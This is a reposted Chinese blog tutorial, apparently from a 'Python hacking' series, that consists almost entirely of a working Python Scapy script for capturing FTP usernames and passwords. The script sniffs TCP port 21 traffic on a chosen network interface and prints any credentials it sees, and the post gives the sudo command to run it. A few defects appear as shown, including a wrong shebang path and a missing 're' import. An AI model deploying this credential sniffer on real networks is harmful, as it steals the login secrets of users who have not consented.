码迷,mamicode.com
首页 > 编程语言 > 详细

python绝技 — 嗅探FTP登录口令

时间:2016-11-24 08:00:19      阅读:181      评论:0      收藏:0      [点我收藏+]

标签:interface   脚本   class   run   嗅探   imp   from   har   etl   

 

代码:

#!/usr/share/env python
#--*--coding=utf-8--*--

import optparse
from scapy.all import *

def ftpsniff(pkt):
	dest = pkt.getlayer(IP).dst
	raw = pkt.sprintf(‘%Raw.load%‘)
	user = re.findall(‘(?i)USER (.*)‘, raw)
	pswd = re.findall(‘(?i)PASS (.*)‘, raw)
	if user:
		print ‘[*] Detected FTP Login to ‘ + str(dest)
		print ‘[+] Username: ‘ + str(user[0])
	elif pswd:
		print ‘[+] Password: ‘ + str(pswd[0])

def ftpsniffmain():
	parser = optparse.OptionParser(‘usage %prog ‘ + ‘-i <interface>‘)
	parser.add_option(‘-i‘,dest=‘interface‘,type=‘string‘,help=‘specify interface to listen on‘)
	(options,args) = parser.parse_args()
	if options.interface == None:
		print parser.usage
		exit(0)
	else:
		conf.iface = options.interface
	try:
		print ‘FTP sniffer is running....‘
		sniff(filter=‘tcp port 21‘,prn=ftpsniff)
	except KeyboardInterrupt:
		exit(0)


if __name__ == ‘__main__‘:
	ftpsniffmain()

运行嗅探脚本: sudo python ftpsniff.py -i wlan0

现在我们登录ftp进行测试

 

嗅探结果

 

python绝技 — 嗅探FTP登录口令

标签:interface   脚本   class   run   嗅探   imp   from   har   etl   

原文地址:http://www.cnblogs.com/ssooking/p/6095714.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!